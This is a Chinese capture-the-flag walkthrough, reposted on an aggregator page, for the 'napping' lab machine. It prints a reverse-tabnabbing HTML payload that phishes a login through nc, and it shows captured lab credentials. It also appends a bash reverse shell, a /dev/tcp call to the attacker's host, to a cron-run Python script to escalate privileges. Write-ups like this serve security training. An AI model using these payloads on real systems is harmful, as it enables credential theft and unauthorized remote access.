当前位置: 首页 > news >正文

napping-1.0.1靶机练习

导入vb虚拟机中,开启桥接模式,kali也是

扫描网段,获取靶机地址

nmap -sP 172.16.2.1/24        快速扫描,适用于较多主机时

nmap -p- 172.16.2.64

访问一下

是个登录页面,我们没有账号,注册一个

页面出现一个文本框,框内输入类似网址的格式

我们输入http://www.baidu.com尝试

我们输入什么他就会跳转什么

在当前目录新建一个1.html文件,其中ip为kali的ip

<!DOCTYPE html>
<html>
<body>
<script>
if(window.opener) window.opener.parent.location.replace('http://172.16.2.63:81/2.html');
</script>
</body>
</html>

新建2.html文件
<html>

<title>正常网站</title>

<body>
asdf
</body>

</html>

开启服务         python -m http.server 800

开启对81端口的监听:nc -lvvp 81

访问网址  http://172.16.2.63 可以看到我们写的文件

我们提交      http://172.16.2.63:800/1.html       到网址处

监听的端口会带回用户名和密码

username=daniel&password=C%40ughtm3napping123 sent 0, rcvd 266

账号为daniel               密码为C@ughtm3napping123

我们之前扫描看到了ssh服务开启,尝试xshell连接登录,新建会话,填写信息,登录

查看用户id        属于administrators组         再查看一下能运行的程序

find / -group administrators 2>/dev/null

/home/adrian/query.py

查看文件发现site_status.txt文件每两分钟写入一次,就表明query.py每两分钟执行一次,因此我们就可以写入反弹shell的脚本来让query.py脚本进行执行,获取更高的权限的shell。

在/home/daniel下写入shell.sh文件

#!/bin/bash
bash -c 'bash -i >& /dev/tcp/172.16.2.63/8000 0>&1'

然后在query.py文件中添加对shell.sh脚本的执行

import os
os.system('/usr/bin/bash /home/daniel/shell.sh')

在kali端开启对8000端口的监听

http://www.xdnf.cn/news/1207729.html

相关文章:

  • SQLAlchemy 全方位指南:从入门到精通
  • RabbitMQ面试精讲 Day 7:消息持久化与过期策略
  • 【C++算法】78.BFS解决FloodFill算法_算法简介
  • umijs局域网访问警告Disconnected from the devServer,trying to reconnect...
  • C++跨平台连接多种数据库实战
  • 时序数据库选型指南:为什么IoTDB正在重新定义工业大数据规则?
  • C# CAN通信上位机系统设计与实现
  • vue相关的拖拉拽官网
  • 【LeetCode】前缀表相关算法
  • 【PHP】通过IP获取IP所在地理位置(免费API接口)
  • 数据结构(5)单链表算法题(中)
  • 【LLM】——qwen2.5 VL模型导出到onnx
  • uni-app x开发避坑指南:拯救被卡顿的UI线程!
  • 7月29日星期二今日早报简报微语报早读
  • 前端手写贴
  • PyTorch 数据类型和使用
  • Arduino与STM32:初学者该如何选择?
  • 【LeetCode 热题 100】(二)双指针
  • Mac安装Navicat步骤Navicat Premium for Mac v17.1.9【亲测】
  • 《React与Vue构建TODO应用的深层逻辑》
  • 【目标检测】小样本度量学习
  • 知不足而奋进,望远山而前行。
  • 接口自动化测试pytest框架
  • 从0到1理解大语言模型:读《大语言模型:从理论到实践(第2版)》笔记
  • 百元级工业级核心板:明远智睿×瑞萨V2H,开启AIoT开发新纪元
  • 如何查询并访问路由器的默认网关(IP地址)?
  • 如何在 Ubuntu 24.04 或 22.04 Linux 上安装和运行 Redis 服务器
  • 场景解决-列表项切换时同步到可视区域
  • jvm冷门知识十讲
  • 【lucene】currentFrame与staticFrame